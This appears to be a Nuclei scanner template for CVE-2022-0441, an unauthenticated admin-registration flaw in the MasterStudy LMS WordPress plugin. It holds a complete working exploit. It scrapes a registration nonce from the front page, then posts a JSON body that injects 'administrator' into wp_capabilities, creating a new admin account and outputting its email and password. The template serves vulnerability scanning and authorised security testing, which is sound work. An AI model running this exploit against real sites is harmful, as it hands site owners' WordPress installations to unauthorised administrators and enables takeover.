73 lines
2.2 KiB
YAML
73 lines
2.2 KiB
YAML
id: CVE-2022-0441
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info:
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name: MasterStudy LMS plugin < 2.7.6 - Unauthenticated Admin Account Creation
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author: dwisiswant0,theamanrawat
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severity: critical
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description: |
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The MasterStudy LMS WordPress plugin before 2.7.6 does to validate some parameters given when registering a new account, allowing unauthenticated users to register as an admin.
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reference:
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- https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed
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- https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
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- https://nvd.nist.gov/vuln/detail/CVE-2022-0441
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- https://plugins.trac.wordpress.org/changeset/2667195
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-0441
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cwe-id: CWE-269
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metadata:
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verified: "true"
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tags: cve,cve2022,wordpress,wp-plugin,wpscan,wp,unauth
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variables:
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username: "{{to_lower(rand_text_alphanumeric(6))}}"
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password: "{{rand_text_alphanumeric(12)}}"
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user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
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requests:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/json
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{"user_login":"{{username}}","user_email":"{{user_email}}","user_password":"{{password}}","user_password_re":"{{password}}","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}
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extractors:
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- type: regex
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name: nonce
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group: 1
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regex:
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- '"stm_lms_register":"([0-9a-z]+)"'
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internal: true
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- type: kval
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kval:
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- user_email
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- password
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req-condition: true
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- 'Registration completed successfully'
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- '"status":"success"'
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condition: and
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- type: word
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part: header_2
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words:
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- application/json;
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- type: status
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status:
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- 200
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